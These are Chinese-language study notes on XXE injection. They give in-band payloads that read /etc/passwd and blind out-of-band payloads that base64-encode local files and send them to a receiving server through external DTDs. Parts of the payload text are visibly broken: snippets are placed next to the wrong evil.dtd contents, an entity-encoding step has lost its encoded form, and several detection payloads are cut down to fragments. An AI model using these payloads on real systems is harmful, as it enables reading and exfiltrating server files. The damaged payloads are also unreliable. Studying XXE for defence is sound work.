OWASP TOP10 XXE
参考链接
https://bbs.ichunqiu.com/thread-44306-1-1.html
http://www.freebuf.com/column/156863.html
https://security.tencent.com/index.php/blog/msg/69
https://xz.aliyun.com/t/2571#toc-10
http://www.w3school.com.cn/dtd/
jarvis oj API调用就是XXE漏洞的利用
这些网站对XXE 的解释以及利用防御都已经十分详细(由于机器环境限制,并没有完整复现,简单做下笔记,留坑以后补)
libxml2.9.1及以后,默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。
如何构造外部实体注入攻击
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
有回显的payload写法:
- 直接通过DTD外部实体声明。XML内容如下:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]> <abc>&test;</abc>
- 通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:
evil.dtd内容:<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://localhost/evil.dtd"> <abc>&b;</abc>
<!ENTITY b SYSTEM "file:///etc/passwd">
- 通过DTD外部实体声明引入外部实体声明。XML内容如下:
evil.dtd内容:<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://localhost/evil.dtd"> %d; ]> <abc>&b;</abc>
但是如果想通过如下声明是不可以的:<!ENTITY b SYSTEM "file:///etc/passwd">
测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY d SYSTEM "http://localhost/evil.xml"> ]> <abc>&d;</abc>
无回显的payload写法: - 第一种无回显示payload写法:
其中evil.xml文件内容为<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %all; ]> <abc>&send;</abc>
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">
- 第二种无回显payload写法:
其中evil.xml文件内容为:<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> %dtd; %send; ]> <abc></abc>
调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的 internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。
一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。
寻找XXE
检测xml是否被解析
尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。
单双引号 ‘ “ :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
注释符作注释。
& :& 用于引用实体。
CDATA 分隔符]]> :中的内容不被解析器解析,提前闭合引发异常。
检测是否支持外部实体解析
尝试利用实体和DTD。
引用外部DTD文件访问内网主机/端口 :(看响应时间)
引用外部DTD文件访问外网 :
引用内部实体 :]>&xxe;
外部实体读本地文件 :]>&xxe;
外部实体访问内网主机/端口 :(看响应时间)
外部实体访问外网 :]>&xxe;
判断问题存在可以OOB提取数据。